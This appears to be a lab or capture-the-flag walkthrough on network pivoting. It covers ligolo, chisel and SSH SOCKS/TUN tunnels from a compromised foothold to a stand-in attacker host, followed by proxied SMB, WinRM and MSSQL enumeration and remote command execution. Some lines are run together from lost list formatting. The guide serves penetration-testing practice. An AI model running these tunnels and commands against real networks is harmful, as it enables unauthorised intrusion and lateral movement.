Public walkthroughs are allowed for HackSmarter, so this is the full write‑up.
Attacker (10.200.0.228)
└─[FOOTHOLD 1] 10.10.10.0/24
└─[INTERNAL 2] 10.10.20.0/24
└─[CORE/AD/DC] 10.10.30.0/24
Subnets are illustrative—replace with the actual ranges discovered in your run.
-D (SOCKS) / -L / -R – when SSH service is present--proxy supportTip: prefer TUN for full‑stack tools (ICMP, LDAP signing detection, Kerberos), and SOCKS for quick web/SMB/WinRM reachability.
Perform standard recon to land a shell or creds on the first pivot host (FOOTHOLD 1). Common paths:
Once you have any execution path on FOOTHOLD 1, proceed to a pivot.
Attacker:
./relay -laddr 0.0.0.0:11601 -autocert -socks 127.0.0.1:1080
Foothold:
agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
Proxychains (attacker): edit /etc/proxychains4.conf:
socks5 127.0.0.1 1080
Run tools through the proxy:
proxychains -q nxc smb 10.10.20.0/24 -u '' -p '' --shares
proxychains -q crackmapexec winrm 10.10.20.25 -u user -p pass
Attacker:
chisel server -p 1080 --socks5
Foothold:
./chisel client <ATTACKER_IP>:1080 socks
Then use proxychains as above.
Notes
- Large
nmapscans via SOCKS are unreliable; scan select ports (-p 80,445,5985,3389) or move to TUN mode.
Attacker:
./relay -laddr 0.0.0.0:11601 -autocert -tun
sudo ip tuntap del dev ligolo mode tun 2>/dev/null || true
sudo ip tuntap add dev ligolo mode tun user $USER
sudo ip link set ligolo up
Foothold:
agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
Add routes (attacker):
sudo ip route add 10.10.20.0/24 dev ligolo
sudo ip route add 10.10.30.0/24 dev ligolo
Test:
ping -c1 -I ligolo 10.10.20.25
nmap -e ligolo -Pn -n -T4 -p 80,445,5985,3389 10.10.20.0/24 --disable-arp-ping
SOCKS:
ssh -N -D 1080 user@10.10.10.10
L/R port‑forward:
# forward remote 445 to local 8445
ssh -N -L 8445:10.10.20.25:445 user@10.10.10.10
If you compromise a second host inside, run another ligolo agent there and forward through the first session (sessions / listen in ligolo). Or daisy‑chain chisel:
# on FOOTHOLD 1 (as a relay)
./chisel server -p 9002 --reverse
# on FOOTHOLD 2
./chisel client 10.10.10.10:9002 R:socks
Maintain a map of what route hits which subnet and keep only the routes you need.
nxc smb 10.10.20.0/24 -u user -p pass --shares --groups --sessionsnxc winrm 10.10.20.25 -u user -p pass -x "whoami /all"ldapsearch, Certify, Certipynxc mssql ... (enable xp_cmdshell if appropriate to the lab)xfreerdp /v:10.10.20.25 /u:user /p:pass /dynamic-resolutionTip: If DNS is internal, add a conditional forwarder on your box or
/etc/hostsentries to resolve AD names while using TUN.
-Pn --disable-arp-ping to nmap.ip route, ensure the subnet matches the target’s netmask./etc/proxychains4.conf, enable proxy_dns (and use SOCKS5).nmap -e ligolo selects the TUN; don’t mix with proxychains.sudo ip route del 10.10.20.0/24 dev ligolosudo ip link set ligolo down && sudo ip tuntap del dev ligolo mode tun# ligolo SOCKS
./relay -laddr 0.0.0.0:11601 -autocert -socks 127.0.0.1:1080
agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
proxychains -q nxc smb 10.10.20.0/24 -u '' -p '' --shares
# ligolo TUN
./relay -laddr 0.0.0.0:11601 -autocert -tun
sudo ip tuntap add dev ligolo mode tun user $USER && sudo ip link set ligolo up
sudo ip route add 10.10.20.0/24 dev ligolo
# chisel SOCKS
chisel server -p 1080 --socks5
./chisel client <ATTACKER_IP>:1080 socks
# ssh SOCKS
ssh -N -D 1080 user@10.10.10.10
This guide focuses on pivoting mechanics and safe enumeration patterns. Apply your preferred exploitation paths once a target is reachable (SMB relay, WinRM, MSSQL, ADCS, etc.).